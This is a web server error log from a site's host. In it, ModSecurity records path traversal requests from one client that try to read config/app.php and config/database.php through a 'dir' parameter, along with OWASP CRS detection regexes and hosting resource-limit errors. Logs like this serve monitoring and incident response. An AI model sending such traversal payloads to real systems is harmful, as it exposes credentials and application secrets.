[Fri Jul 17 08:55:07.102001 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBSwAAABs"]
[Fri Jul 17 08:55:07.102014 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXAAAABI"]
[Fri Jul 17 08:55:07.102132 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.102143 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.102428 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBSwAAABs"]
[Fri Jul 17 08:55:07.103096 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95pwAAAAw"]
[Fri Jul 17 08:55:07.103225 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.103479 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95pwAAAAw"]
[Fri Jul 17 08:55:07.104302 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUXAAAABI"]
[Fri Jul 17 08:55:07.105776 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2Fconfig%2Fapp.php&sid=YloTsjBO_-IH0ckzPvohuz6UQq-WFSjddHnBgRlDE_z_FpgtZcKkDML98SWUg3yNKPk9yCC8UjMpUqDHeJ91HmPrSvB65fs4H4oPXkmCc-aUM3Vpi_C2G9SMCsktfXki-HP43hFyzIeQcxznbZoT3w7WSlxVKAbZtv19ZeuN938Qe3soN4ejhc1IeVYoLuPWJNZAT36QeZ0JExX9bNHLQfq2-fCaoNWa-OUEtu9b8VMqdHhz2eUCxLSi4Gz9PCFAqYcjXriR5H1P0aLUWVB0Xh6e&ref=DKR274GFBMS2N2Q6GW7FGBCBJOMEQN3ROEXOPPV4FBQO3MXFBYVPZ4IWBP2NMKGKS2J7ARWYKPYKSCHYUTKXR3TRUK5F5LJ5XI2F3UKIQ5O7VMVV3OT25QFMMHLQC7WUBXIY2I..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.105833 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.105879 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/app.php&sid=YloTsjBO_-IH0ckzPvohuz6UQq-WFSjddHnBgRlDE_z_FpgtZcKkDML98SWUg3yNKPk9yCC8UjMpUqDHeJ91HmPrSvB65fs4H4oPXkmCc-aUM3Vpi_C2G9SMCsktfXki-HP43hFyzIeQcxznbZoT3w7WSlxVKAbZtv19ZeuN938Qe3soN4ejhc1IeVYoLuPWJNZAT36QeZ0JExX9bNHLQfq2-fCaoNWa-OUEtu9b8VMqdHhz2eUCxLSi4Gz9PCFAqYcjXriR5H1P0aLUWVB0Xh6e&ref=DKR274GFBMS2N2Q6GW7FGBCBJOMEQN3ROEXOPPV4FBQO3MXFBYVPZ4IWBP2NMKGKS2J7ARWYKPYKSCHYUTKXR3TRUK5F5LJ5XI2F3UKIQ5O7VMVV3OT25QFMMHLQC7WUBXIY2IEAQYXTLVLF6LGY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.105908 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/app.php&sid=ylotsjbo_-ih0ckzpvohuz6uqq-wfsjddhnbgrlde_z_fpgtzckkdml98swug3ynkpk9ycc8ujmpuqdhej91hmprsvb65fs4h4opxkmcc-aum3vpi_c2g9smcsktfxki-hp43hfyzieqcxznbzot3w7wslxvkabztv19zeun938qe3son4ejhc1ievyolupwjnzat36qez0jexx9bnhlqfq2-fcaonwa-ouetu9b8vmqdhhz2eucxlsi4gz9pcfaqycjxrir5h1p0aluwvb0xh6e&ref=dkr274gfbms2n2q6gw7fgbcbjomeqn3roexoppv4fbqo3mxfbyvpz4iwbp2nmkgks2j7arwykpykschyutkxr3truk5f5lj5xi2f3ukiq5o7vmvv3ot25qfmmhlqc7wubxiy2ieaqyxtlvlf6lgy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.105935 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.105955 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.106017 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:dir: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.109711 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.109893 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.110227 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTCgAAAAM"]
[Fri Jul 17 08:55:07.132107 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTAAAABs"]
[Fri Jul 17 08:55:07.132187 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTAAAABs"]
[Fri Jul 17 08:55:07.132283 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:dir: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTAAAABs"]
[Fri Jul 17 08:55:07.132435 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2Fconfig%2Fdatabase.php&debug=VFatjN1CHXRbnOEdwArvT9yF43dNo4mBHfEfXRl5ljSdpKQvEyt5WrAhx8rdl5Bwa_-UKQBjW67TI1IZM_067XaRIKFIgflwk4Tft4WQ4f9KvI4epzoR3HJBVmVvD2q6avyp07NpzgjZJtyW4F3OIqCF-bpoXI9Ji6y314fZjlBpBTLABzY5nLyNE3nE230aO7_DJPDPvKoNZvoojRuhnfzgPMCU3Uy5pxj2icWQHhlJ4QIqT1CONN9T5wiyS7T88zbh1kMQCQVFaaJoNqKlY-rd&junk=IO3DT7RF3C3T6IZAHH7M5SMKXGWQZB3CTDMZORMIUK72UKTYJQLOSG24GGNF6W724WDZEIUMOWPSY6HUX5KBLOYD4AMLD4K746Z5GDFSDGDVTYZL36O6UQOEFUC2UY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132474 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132549 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/database.php&debug=VFatjN1CHXRbnOEdwArvT9yF43dNo4mBHfEfXRl5ljSdpKQvEyt5WrAhx8rdl5Bwa_-UKQBjW67TI1IZM_067XaRIKFIgflwk4Tft4WQ4f9KvI4epzoR3HJBVmVvD2q6avyp07NpzgjZJtyW4F3OIqCF-bpoXI9Ji6y314fZjlBpBTLABzY5nLyNE3nE230aO7_DJPDPvKoNZvoojRuhnfzgPMCU3Uy5pxj2icWQHhlJ4QIqT1CONN9T5wiyS7T88zbh1kMQCQVFaaJoNqKlY-rd&junk=IO3DT7RF3C3T6IZAHH7M5SMKXGWQZB3CTDMZORMIUK72UKTYJQLOSG24GGNF6W724WDZEIUMOWPSY6HUX5KBLOYD4AMLD4K746Z5GDFSDGDVTYZL36O6UQOEFUC2UYXE7NZTGLVKE4FY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132578 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/database.php&debug=vfatjn1chxrbnoedwarvt9yf43dno4mbhfefxrl5ljsdpkqveyt5wrahx8rdl5bwa_-ukqbjw67ti1izm_067xarikfigflwk4tft4wq4f9kvi4epzor3hjbvmvvd2q6avyp07npzgjzjtyw4f3oiqcf-bpoxi9ji6y314fzjlbpbtlabzy5nlyne3ne230ao7_djpdpvkonzvoojruhnfzgpmcu3uy5pxj2icwqhhlj4qiqt1conn9t5wiys7t88zbh1kmqcqvfaajonqkly-rd&junk=io3dt7rf3c3t6izahh7m5smkxgwqzb3ctdmzormiuk72uktyjqlosg24ggnf6w724wdzeiumowpsy6hux5kbloyd4amld4k746z5gdfsdgdvtyzl36o6uqoefuc2uyxe7nztglvke4fy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132597 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132626 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.132688 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:dir: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.133992 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBTAAAABs"]
[Fri Jul 17 08:55:07.134031 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.134174 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
